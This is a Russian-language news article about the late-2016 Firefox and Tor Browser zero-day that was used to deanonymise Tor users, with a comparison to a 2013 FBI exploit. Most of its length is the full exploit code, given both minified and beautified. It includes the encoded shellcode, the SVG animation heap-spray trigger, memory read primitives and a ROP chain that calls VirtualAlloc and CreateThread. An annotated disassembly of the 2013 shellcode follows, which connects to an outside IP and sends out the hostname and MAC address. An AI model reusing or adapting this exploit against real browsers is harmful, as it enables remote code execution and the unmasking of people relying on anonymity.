Разработчики Mozilla и Tor в срочном порядке выложили патчи для браузеров, которые устраняют критическую 0day-уязвимость браузера под Windows, Mac и Linux. По мнению независимого эксперта, новый эксплойт почти в точности идентичен эксплойту для 0day-уязвимости 2013 года (исполнение произвольного кода после загрузки в браузер специально составленного JS-скрипта), которую успешно использовало ФБР для деанонимизации пользователей Tor, в том числе посещавших сайты с детской порнографией.
«Срочный патч выпущен для уязвимости в безопасности, которую уже активно использовали против пользователей под Windows, — сказано в официальном сообщении Tor, опубликованном вчера днём. — В данный момент, насколько нам известно, нет таких же активных эксплойтов для OS X или Linux, этот баг сам по себе относится ко всем платформам. Поэтому мы настоятельно рекомендуем, чтобы все пользователи немедленно установили обновление для Tor Browser» (обновленная версия Firefox 45.5.1 ESR).
Tor Browser основан на открытом коде браузера Firefox от Mozilla Foundation. Поэтому вскоре после публикации вышеупомянутого поста в блоге Tor с официальным сообщением выступил также сотрудник отдела безопасности Mozilla Дэниель Ведиц (Daniel Veditz). Он сказал, что уязвимость закрыта в только что выпущенном обновлении Firefox на стабильном канале.
Обновление Firefox выпустили очень быстро. Копию кода эксплойта специалисты по безопасности получили в среду утром. Буквально за несколько часов они подготовили и выпустили патч.
Уязвимость с удалённым исполнением кода срабатывает после открытия браузером специальным образом составленного JS-скрипта, который использует масштабируемую векторную графику. Эксплойт получает IP-адрес и MAC-адрес машины и отправляет его на удалённый сервер, который контролируется злоумышленником. Код этого эксплойта уже выложен в открытом доступе. Впервые он всплыл в списке рассылки Tor: там он опубликован 29 ноября 2016 года в 21:55:23 UTC.
Эксплойт состоит из одного файла HTML и одного файла CSS, которые в списке рассылки опубликовали в деобфусцированном виде. Точную функциональность эксплойта сразу определить не удалось, но он получает доступ к VirtualAlloc в kernel32.dll и работает оттуда.
<html>
<head>
<script>
var thecode
='ue8fcu0089u0000u8960u31e5u64d2u528bu8b30u0c52u528bu8b14u2872ub70fu264auff31uc031u3cacu7c61u2c02uc120u0dcfuc701uf0e2u5752u528bu8b10u3c42ud001u408bu8578u74c0u014au50d0u488bu8b18u2058ud301u3ce3u8b49u8b34ud601uff31uc031uc1acu0dcfuc701ue038uf475u7d03u3bf8u247due275u8b58u2458ud301u8b66u4b0cu588bu011cu8bd3u8b04ud001u4489u2424u5b5bu5961u515aue0ffu5f58u8b5aueb12u5d86u858du0297u0000u6850u774cu0726ud5ffuc085u840fu0185u0000u858du029eu0000u6850u774cu0726ud5ffuc085u840fu016fu0000u90bbu0001u2900u54dcu6853u8029u006bud5ffudc01uc085u850fu0155u0000u5050u5050u5040u5040uea68udf0fuffe0u31d5uf7dbu39d3u0fc3u3a84u0001u8900u68c3u2705ue21bu6866u5000uc931uc180u6602u8951u6ae2u5210u6853ua599u6174ud5ffuc085u0874u8dfeu0248u0000ud775u00b8u0001u2900u89c4u52e2u5250ub668ude49uff01u5fd5uc481u0100u0000uc085u850fu00f6u0000ue857u00fau0000u895eu8dcaua7bdu0002
ue800u00ecu0000u834fu20fau057cu20bau0000u8900u56d1ua4f3u0db9u0000u8d00u8ab5u0002uf300u89a4u44bdu0002u5e00u6856u28a9u8034ud5ffuc085u840f'
+
'u00aeu0000u8b66u0a48u8366u04f9u820fu00a0u0000u408du8b0cu8b00u8b08ub809u0100u0000u8950u29e7u89c4u57e6u5156u6851u7248ub8d2ud5ffuc085uc481u0104u0000ub70fu830fu06f9u7072u06b9u0000ub800u0010u0000uc429ue789uca89ue2d1u5250ud231u168aud088uf024ue8c0u3c04u7709u0404ueb30u0402u8837u4707ud088u0f24u093cu0477u3004u02ebu3704u0788u4647ud4e2u2959u89cfu58feuc401ubd8bu0244u0000ua4f3u36e8u0000u3100u50c0u2951u4fcfu5357uc268u38ebuff5fuebd5u6a09u6800u1347u6f72ud5ffu6853u6e75u614dud5ffuedebuc931ud1f7uc031uaef2ud1f7uc349u0000u0000u8d03ua7bdu0002ue800uffe4uffffub94fu004fu0000ub58du026eu0000ua4f3ubd8du02a7u0000ucbe8uffffuc3ffu0a0du6341u6563u7470u452du636eu646fu6e69u3a67u6720u697au0d70u0d0au000au0a0du6f43u6b6fu6569u203au434du773du3273u335fu0032u5049u4c48u4150u4950u4700u5445u2f20u6130u3238u6131u3038u302fu6435u3063u3132u2032u5448u5054u312fu312eu0a0d
u6f48u7473u203au0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u0000u4190';
var worker = new Worker('cssbanner.js');
worker.postMessage(thecode);
var svgns = 'http://www.w3.org/2000/svg';
var heap80 = new Array(0x1000);
var heap100 = new Array(0x4000);
var block80 = new ArrayBuffer(0x80);
var block100 = new ArrayBuffer(0x100);
var sprayBase = undefined;
var arrBase = undefined;
var animateX = undefined;
var containerA = undefined;
var offset = 0x90;
if
(/.*Firefox/(4[7-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent))
{
offset = 0x88; // versions 47.0 or greater
}
var $ = function(id) { return document.getElementById(id); }
var exploit = function()
{
var u32 = new Uint32Array(block80)
u32[0x2] = arrBase - offset;
u32[0x8] = arrBase - offset;
u32[0xE] = arrBase - offset;
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
for(i = 0; i < heap80.length/2; i++)
{
heap80[i] = block80.slice(0)
}
animateX.setAttribute('begin', '59s')
animateX.setAttribute('begin', '58s')
for(i = heap80.length/2; i < heap80.length; i++)
{
heap80[i] = block80.slice(0)
}
for(i = heap100.length/2; i < heap100.length; i++)
{
heap100[i] = block100.slice(0)
}
animateX.setAttribute('begin', '10s')
animateX.setAttribute('begin', '9s')
window.dump('PAUSING!!! YAYA');
containerA.pauseAnimations();
}
worker.onmessage = function(e)
{
worker.onmessage = function(e)
{
window.setTimeout(function()
{
worker.terminate();
document.body.innerHTML = '';
document.getElementsByTagName('head')[0].innerHTML = '';
document.body.setAttribute('onload', '')
}, 1000);
}
arrBase = e.data;
exploit();
}
var idGenerator = function()
{
return 'id' +
(((1+Math.random())*0x10000)|0).toString(16).substring(1);
}
var craftDOM = function()
{
containerA = document.createElementNS(svgns, 'svg')
var containerB = document.createElementNS(svgns, 'svg');
animateX = document.createElementNS(svgns, 'animate')
var animateA = document.createElementNS(svgns, 'animate')
var animateB = document.createElementNS(svgns, 'animate')
var animateC = document.createElementNS(svgns, 'animate')
var idX = idGenerator();
var idA = idGenerator();
var idB = idGenerator();
var idC = idGenerator();
animateX.setAttribute('id', idX);
animateA.setAttribute('id', idA);
animateA.setAttribute('end', '50s');
animateB.setAttribute('id', idB);
animateB.setAttribute('begin', '60s');
animateB.setAttribute('end', idC + '.end');
animateC.setAttribute('id', idC);
animateC.setAttribute('begin', '10s');
animateC.setAttribute('end', idA + '.end');
containerA.appendChild(animateX)
containerA.appendChild(animateA)
containerA.appendChild(animateB)
containerB.appendChild(animateC)
document.body.appendChild(containerA);
document.body.appendChild(containerB);
}
window.onload = craftDOM;
//
</script>
<style>
#mtdiv{
position: absolute;
width: 960px;
height: 166px;
z-index: 15;
top: 100px;
left: 50%;
margin: 0 0 0 -480px;
}
</style>
</head>
<body bgcolor='#2F3236'>
<div id='mtdiv'>
<img src='mt.png'/>
</div>
</body>
<script>
setTimeout('window.location = 'member.php';', 2000);
</script>
</html>
self.onmessage = function(msg) {
thecode = msg.data;
var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };
function
Memory(b,a,f){this._base_addr=b;this._read=a;this._write=f;this._abs_read=function(a){a>=this._base_addr?a=this._read(a-this._base_addr):(a=4294967295-this._base_addr+1+a,a=this._read(a));return
0>a?4294967295+a+1:a};this._abs_write=function(a,b){a>=this._base_addr?this._write(a-this._base_addr,b):(a=4294967295-this._base_addr+1+a,this._write(a,b))};this.readByte=function(a){return
this.read(a)&255};this.readWord=function(a){return
this.read(a)&65535};this.readDword=function(a){return this.read(a)};
this.read=function(a,b){if(a%4){var
c=this._abs_read(a&4294967292),d=this._abs_read(a+4&4294967292),e=a%4;return
c>>>8*e|d<<8*(4-e)}return
this._abs_read(a)};this.readStr=function(a){for(var
b="",c=0;;){if(32==c)return"";var
d=this.readByte(a+c);if(0==d)break;b+=String.fromCharCode(d);c++}return
b};this.write=function(a){}}
function PE(b,a){this.mem=b;this.export_table=this.module_base=void
0;this.export_table_size=0;this.import_table=void
0;this.import_table_size=0;this.find_module_base=function(a){for(a&=4294901760;a;){if(23117==this.mem.readWord(a))return
this.module_base=a;a-=65536}};this._resolve_pe_structures=function(){peFile=this.module_base+this.mem.readWord(this.module_base+60);if(17744!=this.mem.readDword(peFile))throw"Bad
NT
Signature";this.pe_file=peFile;this.optional_header=this.pe_file+36;this.export_directory=
this.module_base+this.mem.readDword(this.pe_file+120);this.export_directory_size=this.mem.readDword(this.pe_file+124);this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);this.import_directory_size=this.mem.readDword(this.pe_file+132)};this.resolve_imported_function=function(a,b){void
0==this.import_directory&&this._resolve_pe_structures();for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);if(a.toUpperCase()==
d.toUpperCase()){for(var
c=this.mem.readDword(e)+this.module_base,e=this.mem.readDword(e+16)+this.module_base,d=this.mem.readDword(c),f=0;0!=d;){if(this.mem.readStr(d+this.module_base+2).toUpperCase()==b.toUpperCase())return
this.mem.readDword(e+4*f);f++;d=this.mem.readDword(c+4*f)}break}e+=20}return
0};void 0!=a&&this.find_module_base(a)}
function ROP(b,a){this.mem=b;this.pe=new
PE(b,a);this.pe._resolve_pe_structures();this.module_base=this.pe.module_base+4096;this.findSequence=function(a){for(var
b=0;;){for(var
e=0,c=0;c<a.length;c++)if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)e++;else
break;if(e==a.length)return
this.module_base+b;b++}};this.findStackPivot=function(){return
this.findSequence([148,195])};this.findPopRet=function(a){return
this.findSequence([88,195])};this.ropChain=function(a,b,e,c){c=void
0!=c?c:new ArrayBuffer(4096);
c=new Uint32Array(c);var
d=this.findStackPivot(),f=this.findPopRet("EAX"),g=this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");c[0]=f+1;c[1]=f;c[2]=a+b+4*e+4;c[3]=d;for(i=0;i<e;i++)c[(b>>2)+i]=d;d=(b+4>>2)+e;c[d++]=g;c[d++]=a+(b+4*e+28);c[d++]=a;c[d++]=4096;c[d++]=4096;c[d++]=64;c[d++]=3435973836;return
c}}
var conv=new ArrayBuffer(8),convf64=new Float64Array(conv),convu32=new
Uint32Array(conv),qword2Double=function(b,a){convu32[0]=b;convu32[1]=a;return
convf64[0]},doubleFromFloat=function(b,a){convf64[0]=b;return
convu32[a]},sprayArrays=function(){for(var
b=Array(262138),a=0;262138>a;a++)b[a]=fzero;for(a=0;a<b.length;a+=512)b[a+1]=memory,b[a+21]=qword2Double(0,2),b[a+14]=qword2Double(arrBase+o1,0),b[a+(o1+8)/8]=qword2Double(arrBase+o2,0),b[a+(o2+0)/8]=qword2Double(2,0),b[a+(o2+8)/8]=qword2Double(arrBase+
o3,arrBase+13),b[a+(o3+0)/8]=qword2Double(16,0),b[a+(o3+24)/8]=qword2Double(2,0),b[a+(o3+32)/8]=qword2Double(arrBase+o5,arrBase+o4),b[a+(o4+0)/8]=qword2Double(0,arrBase+o6),b[a+(o5+0)/8]=qword2Double(arrBase+o7,0),b[a+(o6+8)/8]=qword2Double(2,0),b[a+(o7+8)/8]=qword2Double(arrBase+o7+16,0),b[a+(o7+16)/8]=qword2Double(0,4026531840),b[a+(o7+32)/8]=qword2Double(0,3220176896),b[a+(o7+48)/8]=qword2Double(2,0),b[a+(o7+56)/8]=qword2Double(1,0),b[a+(o7+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o7+112)/
8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+(o7+168)/8]=qword2Double(0,2),b[a+(o9+0)/8]=qword2Double(arrBase+o10,2),b[a+(o10+0)/8]=qword2Double(2,0),b[a+(o10+8)/8]=qword2Double(0,268435456),b[a+(o11+8)/8]=qword2Double(arrBase+o11+16,0),b[a+(o11+16)/8]=qword2Double(0,4026531840),b[a+(o11+32)/8]=qword2Double(0,3220176896),b[a+(o11+48)/8]=qword2Double(2,0),b[a+(o11+56)/8]=qword2Double(1,0),b[a+(o11+96)/8]=qword2Double(arrBase+o8,arrBase+o8),b[a+(o11+112)/8]=qword2Double(arrBase+o9,arrBase+o9+16),b[a+
(o11+168)/8]=qword2Double(0,2);for(a=0;a<spr.length;a++)spr[a]=b.slice(0)},vtable_offset=300;/.*Firefox/(41.0(.[1-2]|)|42.0).*/.test(navigator.userAgent)?vtable_offset=304:/.*Firefox/(4[3-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent)&&(vtable_offset=308);
var spr=Array(400),arrBase=805306416,ropArrBuf=new
ArrayBuffer(4096),o1=176,o2=256,o3=768,o4=832,o5=864,o6=928,o7=1024,o8=1280,o9=1344,o10=1376,o11=1536,oRop=1792,memory=new
Uint32Array(16),len=memory.length,arr_index=0,arr_offset=0;fzero=qword2Double(0,0);0!=thecode.length%2&&(thecode+="u9090");sprayArrays();postMessage(arrBase);
for(memarrayloc=void 0;void
0==memarrayloc;)for(i=0;i<spr.length;i++)for(offset=0;offset<spr[i].length;offset+=512)if("object"!=typeof
spr[i][offset+1]){memarrayloc=doubleFromFloat(spr[i][offset+1],0);arr_index=i;arr_offset=offset;spr[i][offset+(o2+0)/8]=qword2Double(65,0);spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);for(j=0;33>j;j++)spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);spr[i][offset+(o3+8)/8]=qword2Double(0,0);spr[i][offset+(o5+0)/8]=qword2Double(arrBase+
o11,0);spr[i][offset+(o7+168)/8]=qword2Double(0,3);spr[i][offset+(o7+88)/8]=qword2Double(0,2);break}for(;memory.length==len;);var
mem=new Memory(memarrayloc+48,function(b){return
memory[b/4]},function(b,a){memory[b/4]=a}),xulPtr=mem.readDword(memarrayloc+12);spr[arr_index][arr_offset+1]=ropArrBuf;ropPtr=mem.readDword(arrBase+8);spr[arr_index][arr_offset+1]=null;ropBase=mem.readDword(ropPtr+16);var
rop=new
ROP(mem,xulPtr);rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
var backupESP=rop.findSequence([137,1,195]),ropChain=new
Uint32Array(ropArrBuf);ropChain[0]=backupESP;CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");for(var
i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);ropChain[i++]=3296825488;ropChain[i++]=2048;ropChain[i++]=1347469361;ropChain[i++]=1528949584;ropChain[i++]=3092271187;ropChain[i++]=CreateThread;ropChain[i++]=3096498431;ropChain[i++]=arrBase+16;ropChain[i++]=1955274891;ropChain[i++]=280697892;ropChain[i++]=704643071;
ropChain[i++]=2425406428;ropChain[i++]=4294957800;ropChain[i++]=2425393407;for(var
j=0;j<thecode.length;j+=2)ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);spr[arr_index][arr_offset+3]=qword2Double(0,256);spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);postMessage("GREAT
SUCCESS");
};
Beautified:
self.onmessage =
function(msg) {
thecode = msg.data;
var pack = function (b) { var a = b >> 16; return String.fromCharCode(b
& 65535) + String.fromCharCode(a) };
function Memory(b,a,f)
{
this._base_addr=b;
this._read=a;
this._write=f;
this._abs_read = function(a) {
a >= this._base_addr ? a = this._read( a - this._base_addr) : (
a = 4294967295 - this._base_addr + 1 + a, a = this._read(a) );
return 0>a?4294967295+a+1:a
};
this._abs_write = function(a,b) {
a >= this._base_addr ? this._write(a - this._base_addr, b) : ( a
= 4294967295 - this._base_addr + 1 + a, this._write(a,b) )
};
this.readByte = function(a) {
return this.read(a) & 255
};
this.readWord = function(a) {
return this.read(a) & 65535
};
this.readDword = function(a){ return this.read(a) };
this.read = function(a,b) {
if (a%4) {
var c = this._abs_read( a & 4294967292),
d = this._abs_read( a+4 & 4294967292),
e = a%4;
return c>>>8*e | d<<8*(4-e)
}
return this._abs_read(a)
};
this.readStr = function(a) {
for(var b = "", c = 0;;) {
if (32 == c)
return "";
var d = this.readByte(a+c);
if(0 == d)
break;
b += String.fromCharCode(d);
c++
}
return b
};
this.write = function(a){}
}
function PE(b,a) {
this.mem = b;
this.export_table = this.module_base = void 0;
this.export_table_size = 0;
this.import_table = void 0;
this.import_table_size = 0;
this.find_module_base = function(a) {
for(a &= 4294901760; a; ) {
if(23117 == this.mem.readWord(a))
return this.module_base=a;
a -= 65536
}
};
this._resolve_pe_structures = function() {
peFile = this.module_base + this.mem.readWord(this.module_base+60);
if(17744 != this.mem.readDword(peFile))
throw"Bad NT Signature";
this.pe_file = peFile;
this.optional_header = this.pe_file+36;
this.export_directory =
this.module_base+this.mem.readDword(this.pe_file+120);
this.export_directory_size = this.mem.readDword(this.pe_file+124);
this.import_directory=this.module_base+this.mem.readDword(this.pe_file+128);
this.import_directory_size=this.mem.readDword(this.pe_file+132)};
this.resolve_imported_function=function(a,b){
void 0==this.import_directory&&this._resolve_pe_structures();
for(var
e=this.import_directory,c=e+this.import_directory_size;e<c;){
var
d=this.mem.readStr(this.mem.readDword(e+12)+this.module_base);
if(a.toUpperCase()==d.toUpperCase()){
for(var c = this.mem.readDword(e) + this.module_base,
e = this.mem.readDword(e+16) +
this.module_base,
d = this.mem.readDword(c),
f = 0 ; 0 !=d ;)
{
if(this.mem.readStr(d+this.module_base+2).toUpperCase()
== b.toUpperCase())
return this.mem.readDword(e+4*f);
f++;
d = this.mem.readDword(c+4*f)
}
break
}
e+=20
}
return 0
};
void 0!=a && this.find_module_base(a)
}
function ROP(b,a){
this.mem = b;
this.pe = new PE(b,a);
this.pe._resolve_pe_structures();
this.module_base = this.pe.module_base+4096;
this.findSequence = function(a) {
for(var b=0;;) {
for(var e=0,c=0;c<a.length;c++)
if(this.mem.readByte(this.module_base+b+c)==a[c]&&e==c)
e++;
else
break;
if(e==a.length)
return this.module_base+b;
b++
}
};
this.findStackPivot=function() {
return this.findSequence([148,195])
};
this.findPopRet=function(a) {
return this.findSequence([88,195])
};
this.ropChain=function(a,b,e,c) {
c = void 0 != c ? c : new ArrayBuffer(4096);
c = new Uint32Array(c);
var d = this.findStackPivot(),
f = this.findPopRet("EAX"),
g =
this.pe.resolve_imported_function("kernel32.dll","VirtualAlloc");
c[0]= f+1;
c[1]= f;
c[2]= a+b+4*e+4;
c[3]= d;
for(i=0;i<e;i++)
c[(b>>2)+i] = d;
d =(b+4>>2)+e;
c[d++]=g;
c[d++]=a+(b+4*e+28);
c[d++]=a;
c[d++]=4096;
c[d++]=4096;
c[d++]=64;
c[d++]=3435973836;
return c
}
}
var conv=new ArrayBuffer(8),
convf64=new Float64Array(conv),
convu32=new Uint32Array(conv),
qword2Double=function(b,a) {
convu32[0]=b;
convu32[1]=a;
return convf64[0]
},
doubleFromFloat = function(b,a) {
convf64[0]=b;
return convu32[a]
},
sprayArrays=function() {
for(var b=Array(262138),a=0;262138>a;a++)
b[a]=fzero;
for(a=0;a<b.length;a+=512)
b[a+1] = memory,
b[a+21] = qword2Double(0,2),
b[a+14] = qword2Double(arrBase+o1,0),
b[a+(o1+8)/8] = qword2Double(arrBase+o2,0),
b[a+(o2+0)/8] = qword2Double(2,0),
b[a+(o2+8)/8] = qword2Double(arrBase+o3,arrBase+13),
b[a+(o3+0)/8] = qword2Double(16,0),
b[a+(o3+24)/8] = qword2Double(2,0),
b[a+(o3+32)/8] = qword2Double(arrBase+o5,arrBase+o4),
b[a+(o4+0)/8] = qword2Double(0,arrBase+o6),
b[a+(o5+0)/8] = qword2Double(arrBase+o7,0),
b[a+(o6+8)/8] = qword2Double(2,0),
b[a+(o7+8)/8] = qword2Double(arrBase+o7+16,0),
b[a+(o7+16)/8] = qword2Double(0,4026531840),
b[a+(o7+32)/8] = qword2Double(0,3220176896),
b[a+(o7+48)/8] = qword2Double(2,0),
b[a+(o7+56)/8] = qword2Double(1,0),
b[a+(o7+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
b[a+(o7+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
b[a+(o7+168)/8] = qword2Double(0,2),
b[a+(o9+0)/8] = qword2Double(arrBase+o10,2),
b[a+(o10+0)/8] = qword2Double(2,0),
b[a+(o10+8)/8] = qword2Double(0,268435456),
b[a+(o11+8)/8] = qword2Double(arrBase+o11+16,0),
b[a+(o11+16)/8] = qword2Double(0,4026531840),
b[a+(o11+32)/8] = qword2Double(0,3220176896),
b[a+(o11+48)/8] = qword2Double(2,0),
b[a+(o11+56)/8] = qword2Double(1,0),
b[a+(o11+96)/8] = qword2Double(arrBase+o8,arrBase+o8),
b[a+(o11+112)/8] = qword2Double(arrBase+o9,arrBase+o9+16),
b[a+(o11+168)/8] = qword2Double(0,2);
for(a=0;a<spr.length;a++)
spr[a]=b.slice(0)
}, vtable_offset=300;
/.*Firefox/(41.0(.[1-2]|)|42.0).*/.test(navigator.userAgent)?
vtable_offset=304 :
/.*Firefox/(4[3-9]|[5-9]d+|[1-9]d{2,})..*/.test(navigator.userAgent)
&& (vtable_offset=308);
var spr=Array(400),
arrBase=805306416,
ropArrBuf=new ArrayBuffer(4096),
o1=176,
o2=256,
o3=768,
o4=832,
o5=864,
o6=928,
o7=1024,
o8=1280,
o9=1344,
o10=1376,
o11=1536,
oRop=1792,
memory=new Uint32Array(16),
len=memory.length,
arr_index=0,
arr_offset=0;
fzero=qword2Double(0,0);
0!=thecode.length%2&&(thecode+="u9090");
sprayArrays();
postMessage(arrBase);
for(memarrayloc=void 0;void 0==memarrayloc;)
for(i=0;i<spr.length;i++)
for(offset=0;offset<spr[i].length;offset+=512)
if("object" != typeof spr[i][offset+1]) {
memarrayloc=doubleFromFloat(spr[i][offset+1],0);
arr_index=i;
arr_offset=offset;
spr[i][offset+(o2+0)/8]=qword2Double(65,0);
spr[i][offset+(o2+8)/8]=qword2Double(arrBase+o3,memarrayloc+27);
for(j=0;33>j;j++)
spr[i][offset+(o2+16)/8+j]=qword2Double(memarrayloc+27,memarrayloc+27);
spr[i][offset+(o3+8)/8]=qword2Double(0,0);
spr[i][offset+(o5+0)/8]=qword2Double(arrBase+o11,0);
spr[i][offset+(o7+168)/8]=qword2Double(0,3);
spr[i][offset+(o7+88)/8]=qword2Double(0,2);
break
}
for(;memory.length==len;);
var mem=new Memory(memarrayloc+48,
function(b){return memory[b/4]},
function(b,a){memory[b/4]=a}),
xulPtr=mem.readDword(memarrayloc+12);
spr[arr_index][arr_offset+1]=ropArrBuf;
ropPtr=mem.readDword(arrBase+8);
spr[arr_index][arr_offset+1]=null;
ropBase=mem.readDword(ropPtr+16);
var rop=new ROP(mem,xulPtr);
rop.ropChain(ropBase,vtable_offset,10,ropArrBuf);
var backupESP=rop.findSequence([137,1,195]), ropChain=new
Uint32Array(ropArrBuf);
ropChain[0]=backupESP;
CreateThread=rop.pe.resolve_imported_function("KERNEL32.dll","CreateThread");
for(var i=0;i<ropChain.length&&3435973836!=ropChain[i];i++);
ropChain[i++]=3296825488;
ropChain[i++]=2048;
ropChain[i++]=1347469361;
ropChain[i++]=1528949584;
ropChain[i++]=3092271187;
ropChain[i++]=CreateThread;
ropChain[i++]=3096498431;
ropChain[i++]=arrBase+16;
ropChain[i++]=1955274891;
ropChain[i++]=280697892;
ropChain[i++]=704643071;
ropChain[i++]=2425406428;
ropChain[i++]=4294957800;
ropChain[i++]=2425393407;
for (var j=0;j<thecode.length;j+=2)
ropChain[i++]=thecode.charCodeAt(j)+65536*thecode.charCodeAt(j+1);
spr[arr_index][arr_offset]=qword2Double(arrBase+16,0);
spr[arr_index][arr_offset+3]=qword2Double(0,256);
spr[arr_index][arr_offset+2]=qword2Double(ropBase,0);
spr[arr_index][arr_offset+(o11+168)/8]=qword2Double(0,3);
spr[arr_index][arr_offset+(o11+88)/8]=qword2Double(0,2);
postMessage("GREAT SUCCESS");
};
Похожий код в 2013 году использовала ФБР. Для примера, вот образец дезассемблированного кода, который использовала ФБР, с небольшими комментариями для ясности. Код не загружал на машину никаких дополнительных бэкдоров — это тоже косвенно указывает на то, что его распространяли не преступники, а правоохранительные органы исключительно с целью сбора персональных данных пользователей.
Этот конкретный код открывает соединение с 65.222.202.54:80 и отправляет HTTP-запрос, содержащий имя хоста (через gethostname()
) и MAC-адрес локального хоста (через вызов SendARP
на gethostbyname()->h_addr_list
). После этого он подчищает состояние и как будто намеренно завершается со сбоем.
$ ndisasm -k 0x90,1 -k 0x256,1 -u shellcode
00000000 60 pusha
00000001 FC cld
00000002 E88A000000 call 0x91
00000007 60 pusha # win32 function resolver by @stephenfewer, used by Metasploit
00000008 89E5 mov ebp,esp
0000000A 31D2 xor edx,edx
0000000C 648B5230 mov edx,[fs:edx+0x30]
00000010 8B520C mov edx,[edx+0xc]
00000013 8B5214 mov edx,[edx+0x14]
00000016 8B7228 mov esi,[edx+0x28]
00000019 0FB74A26 movzx ecx,word [edx+0x26]
0000001D 31FF xor edi,edi
0000001F 31C0 xor eax,eax
00000021 AC lodsb
00000022 3C61 cmp al,0x61
00000024 7C02 jl 0x28
00000026 2C20 sub al,0x20
00000028 C1CF0D ror edi,0xd
0000002B 01C7 add edi,eax
0000002D E2F0 loop 0x1f
0000002F 52 push edx
00000030 57 push edi
00000031 8B5210 mov edx,[edx+0x10]
00000034 8B423C mov eax,[edx+0x3c]
00000037 01D0 add eax,edx
00000039 8B4078 mov eax,[eax+0x78]
0000003C 85C0 test eax,eax
0000003E 744A jz 0x8a
00000040 01D0 add eax,edx
00000042 50 push eax
00000043 8B4818 mov ecx,[eax+0x18]
00000046 8B5820 mov ebx,[eax+0x20]
00000049 01D3 add ebx,edx
0000004B E33C jecxz 0x89
0000004D 49 dec ecx
0000004E 8B348B mov esi,[ebx+ecx*4]
00000051 01D6 add esi,edx
00000053 31FF xor edi,edi
00000055 31C0 xor eax,eax
00000057 AC lodsb
00000058 C1CF0D ror edi,0xd
0000005B 01C7 add edi,eax
0000005D 38E0 cmp al,ah
0000005F 75F4 jnz 0x55
00000061 037DF8 add edi,[ebp-0x8]
00000064 3B7D24 cmp edi,[ebp+0x24]
00000067 75E2 jnz 0x4b
00000069 58 pop eax
0000006A 8B5824 mov ebx,[eax+0x24]
0000006D 01D3 add ebx,edx
0000006F 668B0C4B mov cx,[ebx+ecx*2]
00000073 8B581C mov ebx,[eax+0x1c]
00000076 01D3 add ebx,edx
00000078 8B048B mov eax,[ebx+ecx*4]
0000007B 01D0 add eax,edx
0000007D 89442424 mov [esp+0x24],eax
00000081 5B pop ebx
00000082 5B pop ebx
00000083 61 popa
00000084 59 pop ecx
00000085 5A pop edx
00000086 51 push ecx
00000087 FFE0 jmp eax
00000089 58 pop eax
0000008A 5F pop edi
0000008B 5A pop edx
0000008C 8B12 mov edx,[edx]
0000008E EB86 jmp short 0x16
00000090 skipping 0x1 bytes
00000091 5D pop ebp
00000092 81BDE90200004745 cmp dword [ebp+0x2e9],0x20544547 # "GET "
-5420
0000009C 7570 jnz 0x10e
0000009E 8D85D1020000 lea eax,[ebp+0x2d1] "ws2_32"
000000A4 50 push eax
000000A5 684C772607 push dword 0x726774c # LoadLibraryA
000000AA FFD5 call ebp
000000AC 85C0 test eax,eax
000000AE 745E jz 0x10e
000000B0 8D85D8020000 lea eax,[ebp+0x2d8] "IPHLPAPI"
000000B6 50 push eax
000000B7 684C772607 push dword 0x726774c # LoadLibraryA
000000BC FFD5 call ebp # ebp = find function
000000BE 85C0 test eax,eax
000000C0 744C jz 0x10e
000000C2 BB90010000 mov ebx,0x190
000000C7 29DC sub esp,ebx
000000C9 54 push esp
000000CA 53 push ebx
000000CB 6829806B00 push dword 0x6b8029 # WSAStartupA
000000D0 FFD5 call ebp
000000D2 01DC add esp,ebx
000000D4 85C0 test eax,eax
000000D6 7536 jnz 0x10e
000000D8 50 push eax
000000D9 50 push eax
000000DA 50 push eax
000000DB 50 push eax
000000DC 40 inc eax
000000DD 50 push eax
000000DE 40 inc eax
000000DF 50 push eax
000000E0 68EA0FDFE0 push dword 0xe0df0fea # WSASocketA
000000E5 FFD5 call ebp
000000E7 31DB xor ebx,ebx
000000E9 F7D3 not ebx
000000EB 39C3 cmp ebx,eax
000000ED 741F jz 0x10e
000000EF 89C3 mov ebx,eax
000000F1 6A10 push byte +0x10
000000F3 8DB5E1020000 lea esi,[ebp+0x2e1] # struct sockaddr_in { AF_INET, 80, 65.222.202.54 }
000000F9 56 push esi
000000FA 53 push ebx
000000FB 6899A57461 push dword 0x6174a599 # connect
00000100 FFD5 call ebp
00000102 85C0 test eax,eax
00000104 741F jz 0x125
00000106 FE8D89000000 dec byte [ebp+0x89] # Try to connect 5 times
0000010C 75E3 jnz 0xf1
0000010E 80BD4F02000001 cmp byte [ebp+0x24f],0x1
00000115 7407 jz 0x11e
00000117 E83B010000 call 0x257
0000011C EB05 jmp short 0x123
0000011E E84D010000 call 0x270
00000123 FFE7 jmp edi
00000125 B800010000 mov eax,0x100
0000012A 29C4 sub esp,eax
0000012C 89E2 mov edx,esp
0000012E 52 push edx
0000012F 50 push eax
00000130 52 push edx
00000131 68B649DE01 push dword 0x1de49b6 # gethostname
00000136 FFD5 call ebp
00000138 5F pop edi
00000139 81C400010000 add esp,0x100
0000013F 85C0 test eax,eax
00000141 0F85F2000000 jnz near 0x239
00000147 57 push edi
